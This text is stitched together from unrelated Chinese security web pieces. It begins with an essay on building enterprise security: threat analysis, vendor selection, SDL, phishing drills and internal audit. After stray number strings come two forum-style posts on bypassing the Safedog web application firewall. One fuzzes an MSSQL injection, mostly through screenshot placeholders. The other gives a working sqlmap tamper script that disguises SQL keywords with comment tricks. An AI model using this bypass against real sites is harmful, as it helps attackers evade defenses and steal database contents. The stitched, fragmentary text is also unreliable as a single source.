  • 对外提供的服务形式是怎样的?(S,service)
  • 面临的威胁是什么?(T,threat)
  • 同行业是怎么做的?(O,others)

管理学领域有一个很有名的SWOT分析,请原谅我这里生僻地造出了一个在安全行业的NSTO分析,通过NSTO分析可以快速定位我们的企业在安全建设方面的所处区间,找出接下来一到两年内安全建设的紧要工作。

例如我们根据当前企业现状整理出了这样的一张NSTO分析图:

3.jpg

通过这张图我们可以看出,我们提供的服务中,移动APP业务用户量最多,受到的威胁最大。而且,APP漏洞时有发生,已经影响到了公司的外部声誉和口碑。数据泄漏事件偶尔也时有发生,但不会像APP漏洞那么频繁。同行业中有相当一部分已经采购了WAF,但是采购ADS的比较少。

我们就可以做出决策:优先解决APP漏洞,可以寻求APP加固的安全服务。同时在产品采购方面,优先考虑采购WAF产品。

4、什么时候需要安全服务

下面将这个问题再拆解为四个问题:

  • 为什么需要借助外部力量?

内部力量是否能在短时间内完成指标?如果可以,完成的成本是多少?如果不行,我们需要在哪些方面借助外部提供安全服务?这是否是标准化的安全服务?安全服务带来的实际收益是否能解决企业安全建设遇到的痛点?从长远来看,这是合作还是工作量转移?合作是长久之计,如果是长期的工作量转移,说明企业需要设立相应的岗位来完成这部分工作。

  • 寻求安全服务供应商,我的诉求和预期是什么?

先思考一下我想要什么,再去问你有什么。这是商品价值交换的核心原则,因为商品需要满足用户的需要和心理预期。如果盲目挑选势必会造成预期不符而带来不愉快的服务体验。但是,如果当我们不清楚企业安全面临的困难如何解决时,可以向安全服务供应商寻求建议,一个成熟的安全服务供应商会给出满足客户企业现阶段安全建设急所的服务参考,而不是盲目地追逐眼前利益,轻易地推荐无效服务。

  • 如何对比安全服务质量?

甄选一家合适的安全服务供应商就像大学还未毕业的少女用每个月仅存的一些零花钱挑选自己喜欢的裙子,精挑细选,反复斟酌,货比三家。当然如果是不差钱的企业可以直接采购,甚至同时选择多家安全厂商一起来做项目。但是现实情况往往是我们的经费有限,如何选择一家更为可靠的合作伙伴。笔者建议在挑选时,不要只看这个家公司的客户案例,而更多地去关注这个安全供应商和其他客户合作之后带来的安全效益和口碑是怎样的,后续还有没有新的合作项目。假如有,后续再次选择那家服务商的原因是什么,这样可以更客观地评价一家安全服务供应商。

另外还有十分重要的一点,就是技术实力,技术实力虽然不是评价一家安全服务供应商的唯一标准,但却是最重要的,技术实力能够转化成优质服务的驱动力,能够自动地形成优胜劣汰,变成一家公司长久赖以发展的金字招牌。假如经费有限,不要盲目地去寻找安全经验不足的服务供应商,除非是为了做项目而做项目,我们花钱购买安全服务并不是买一个心安,而是要货真价实地获得安全收益和回报。换个角度来看,乙方的安全从业人员也应当从实际的安全回报角度来认识和实施每一个安全项目,更好地满足客户需要。

  • 内部团队能否吸收经验并形成沉淀?

通过安全服务项目,能否带动内部团队学习攻防经验也是十分重要的。一家优秀的安全服务供应商会在最终的交付物上附加一定的经验传递价值,会引导企业开发人员规避安全漏洞,学习攻防经验。安全培训服务是比较标准化的做法,通过安全培训可以定向地解决一类问题,也可以通用地普及网络安全的发展和漏洞原理方面的相关知识。

                                        **人员安全意识培养**

**安全问题归根结底是人的问题。
提高人员安全意识,是建设企业安全的长久之计。**

因为系统会升级,新的业务代码会不断更迭,安全漏洞会层出不穷,而人才始终是企业最有价值的资本。提高员工安全意识会产生羊群效应,让缺乏安全意识的员工自动离群,一旦培养形成公司内部的安全文化对公司受益无穷,而且在未来很长一段时间内无形中减少开发人员可能会制造出的安全漏洞。

培养安全意识, 关键在于安全价值的认同。
当我们认识到一件事情是必要的,自然会认同这件事情的价值。而安全的价值在于它能保证业务稳定,用户放心,公司平稳运营。对于依赖互联网数据交换而取得收益的企业来说,维持网络的安全是必要的,我们首先需要认同这一点。围绕保障网络的安全性,企业内不同岗位员工的安全意识培养都可以在这一点上形成共识。

5、如何落地

我们是否需要SDL?

SDL( Security Development Lifecycle),最早由微软提出,是一种软件开发全生命周期的安全流程规范。其中主要由以下7部分组成:

  • 安全培训(Training):推广安全编程意识
  • 需求分析(Requirements): 寻找安全嵌入的最优方式
  • 系统设计(Design): 威胁建模设计
  • 实现(Implementation): 安全开发
  • 验证(Verification): 黑/白盒测试
  • 发布(Release): 最后检查确认
  • 响应(Response):应急响应,bug跟踪解决

首先需要看业务发展所处的区间和开发人员是否来自同一个团队。如果已经具有成熟的业务线,并且代码更新频率并不是很高,这时做SDL是一件吃力而不讨好的事,还可能会加剧开发负担。如果开发团队来自多个不同团队,使用多种不同的语言,这时要做SDL,除非你拥有绝对的决心和毅力并且在公司拥有一定的决策权,否则可能会适得其反。最理想的情况就是公司处于新项目的拓展时期,开发团队的编码习惯高度统一,涉及的业务还处于需求设计阶段。这时使用SDL就如同顺水推舟,带来的收益也是事半功倍的。这里列举出最好和最坏的两种极端情况,当处于其他中间情况,就需要看当前企业所面临的安全威胁,企业在安全方面的倾斜度,以及安全管理者所拥有的资源和做SDL的决心,需量力而行。

开发、运维人员如何学习攻防,需要学到什么程度?

我始终认为,开发和运维人员在安全方面的积累会以一当十地回报给企业整体的安全建设,而且会带给企业一种良好的安全氛围,形成良性循环。但是需要学习和认识到何种程度,是否需要人人都会挖漏洞甚至做安全研究?我认为是没有必要的,需要认识常见的漏洞,了解漏洞成因和修复方法,能做到这一点,至少在开发运维层面,90%的安全漏洞都是可以在上线前避免的。

其他员工的安全意识如何提高?如何看到效果?

其他员工的安全意识的提高也非常重要,因为APT攻击最开始的突破口往往是一些非技术类的员工,在大多数攻击者眼里这是一个公司中较为脆弱的切入点,设法利用社会工程学收集一些信息,并使用钓鱼、水坑攻击等常见的APT攻击手法层层渗透。所以,其他员工的安全意识的提高需要做定期的培训和引导性宣传,通过APT演习来印证宣传的效果。比如可以在公司内部群发钓鱼邮件,在食堂角落散发U盘等方式,观察受攻击员工的比例,来检验员工的安全意识是否得到了明显的加强。

我们对待威胁情报的重视程度是怎样的?

一个在安全方面做得比较好的公司,应当对每一份安全情报都视若珍宝。因为你永远不知道是否下一份威胁情报就被用来敲开了公司严防死守的大门。

在现在这个“免费”媒体的时代,我们获取到信息可能花费不了太多的成本,所以,有人就会认为从微博或者公众账号推送过来的一条威胁情报不足为奇,但往往就是这些不足为奇的威胁情报以它独有的方式制造了一件件轰动世界的安全大事件,比如:“心脏滴血”、“永恒之蓝”。

现在的安全情报五花八门,有时候连一个拥有多年安全经验的专家也无法鉴别其中的真伪。我们如何判断安全情报的可信度,如何判断情报中提到的受影响软件是否影响到公司的线上业务呢?首先,建议收集和分析情报的这个工作由专人负责,一个长期处理安全情报的人会首先从情报来源判断情报的可信度,而且重大的安全情报都会在微信群、QQ群讨论。判断受影响的情况,就需要预先收集和掌握公司的资产明细,线上业务使用的服务器软件版本等信息。对于公开了POC的安全情报,可以第一时间使用POC验证业务的受影响情况,发现受影响的业务应当立即处置和响应。

                                        **安全规范落地**

**人员的安全意识类似道德,而安全规范类似法律。
一个计划在安全方面有所建树的企业必须要把安全规范列入公司规章制度的一部分。**

安全规范制订
制订安全规范需要依据公司现有业务情况,和满足评审的需要综合考量。对于一个公司来说业务发展就是生存之道,如果安全规范束缚了公司业务发展,就适得其反了。在创业时期,应当使用较为宽松的安全规范,在涉及资金、用户数据方面做适当的限制。而在比较成熟的大公司,应该事无巨细,规范越明确越细致越好。同时对于一些需要通过评审认证的公司来说,规范制度还应当满足评审的需要,比如内部评审,等级保护评审等等。

安全规范普及
制定好的安全规范,还需要从上而下地推广,上行下效,有专职人员进行宣读和解释,而不是让它成为一纸空文,沉睡在大多数员工闻所未闻的角落。

监督与审计
设立安全审计内部岗位,并结合审计项设计自动化的审计上报工具。对于违规行为的监督应当是不间断自动化的。可以考虑在数据传输的通道进行埋点设防,当员工触犯安全规范时可自动记录并追查到人。

对于违规行为的处理
严格依据安全规范条款实施,遇到违反规定的情况应当严惩不贷。

                                        **内部审计**

内部审计是企业安全的最后一道防线。

前面的措施都是用来防外部黑客,而内部审计是用来防止内部人员监守自盗。
我们相信所有员工的职业操守和劳动合同上的约束,但也保留对巨大诱惑下的人性弱点的怀疑。

用户隐私数据防泄漏审计
涉及可触碰到大规模用户隐私数据的人员应当进行严格的内部审计。被外部买通窃取用户隐私的事件已经数见不鲜,如何判断用户数据泄漏的渠道,我们可以埋设标记。

涉及到营收部门的财务审计
涉及到资金保管,设备采购等部门应当进行严格的内部审计。

源代码泄漏审计
对于一个互联网公司或主营互联网业务的部门来说源代码就是整个团队的价值核心,也是商业命脉。一个游戏的源代码失窃,就会造成私服泛滥,游戏开发人员的数年苦心创造都会毁于一旦。源代码审计是重中之重,所以,除了严格划分svn、git权限以外,需要审计可以接触到源代码的开发、运维人员。

内网信息外传审计
不少员工都会有过将内网信息直接截图分享到外部的经历,并且这种行为在多数场合也无法带来直接的损伤。但是内网信息相对较为敏感,内网信息对外的输送应当进行有效监控。一旦发现重要的数据泄漏,能够追查到人,并及时挽回损失。

员工权限分配与回收审计
离职账号多次登录系统,形成“幽灵账号”,这些账号有些还拥有着操作资金的权限,我们应当对离职员工的账号进行权限回收。内部员工也应当做严格的权限划分,需要临时使用的权限应当申请和审批,分配的临时权限应当及时回收。同时,每位员工在操作时应当具有自己身份标识和操作保留记录,以便于事后追查。

以上愚见仅供参考,就像站在稻田旁边看插秧并不会觉得辛苦,当双脚踩在泥土里的时候才能体会其中的苦涩,“足蒸暑土气,背灼炎天光”。希望能对同样是为了建设更安全互联网的你有所帮助,有所启发。

6477516568

0x00 前言
众所周知,现在世面上的大多数WAF产品还是基于正则来进行监测判定的,那么Bypass这一操作就变得很平常了。。。
现在网上公开或未公开的一些Bypass操作,大多数都是基于Mysql数据库的(Mysql数据库特性多的一笔,就像我之前看过的一篇文章,1000+中绕过姿势!毫不夸张!)。
好了,废话不多扯,今天我在这里给大家分享下基于Mssql数据库的Bypass操作(Mssql相对Mysql来说,特性还是差了那么一丢丢,也有可能因为关注度等问题,导致一些特性未被强度挖掘)。
0x01 环境
如题,“<>”可轻松bypass官方最新版某狗
环境如下:
IIS+Safedog+SQLserver 2008
3.jpg

0x02 Fuzz
这里,我就不过多的进行文字描述了,我直接把测试过程截图分享下。
下图为我本地自己搭建的演示环境(存在SQL注入):
1.png

简单输入判定语句:
2.png

4.png

发现被拦截。。。
接下来开始各种Fuzz,直到发现“<>”,如下图
5.png

6.png

7.png

是不是贼刺激,一个简单的“<>”就可绕过。。
继续深入。。
8.png

发现被拦截了,猜想应该是检测到组合了(select from)
10.png

果然。
Fuzz半天,发现无果。。。
当然思路是猥琐的,笔者接下来会换思路在去Fuzz。。。
欢迎小伙伴前来讨论、分享猥琐思路~

(716) 439-8559

如题网站安全狗最新版Bypass
效果如下图所示:

WechatIMG2.jpeg

bypass safedog.png

Bypass 核心Sql语句如下图所示:
WechatIMG3.jpeg

SQLmap tamper如下:

#!/usr/bin/env python

"""
By T00ls.Net;
safedog by echod  
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
 
    if payload:
        payload=payload.replace(" ","/*!*/")
        payload=payload.replace("=","/*!*/=/*!*/")
        payload=payload.replace("AND","/*!*/AND/*!*/")
        payload=payload.replace("UNION","union/*!88888cas*/")
        payload=payload.replace("#","/*!*/#")
        payload=payload.replace("USER()","USER/*!()*/")
        payload=payload.replace("DATABASE()","DATABASE/*!()*/")
        payload=payload.replace("--","/*!*/--")
        payload=payload.replace("SELECT","/*!88888cas*/select")
        payload=payload.replace("FROM","/*!99999c*/*!99999c*/from")
        print payload
        
                
    return payload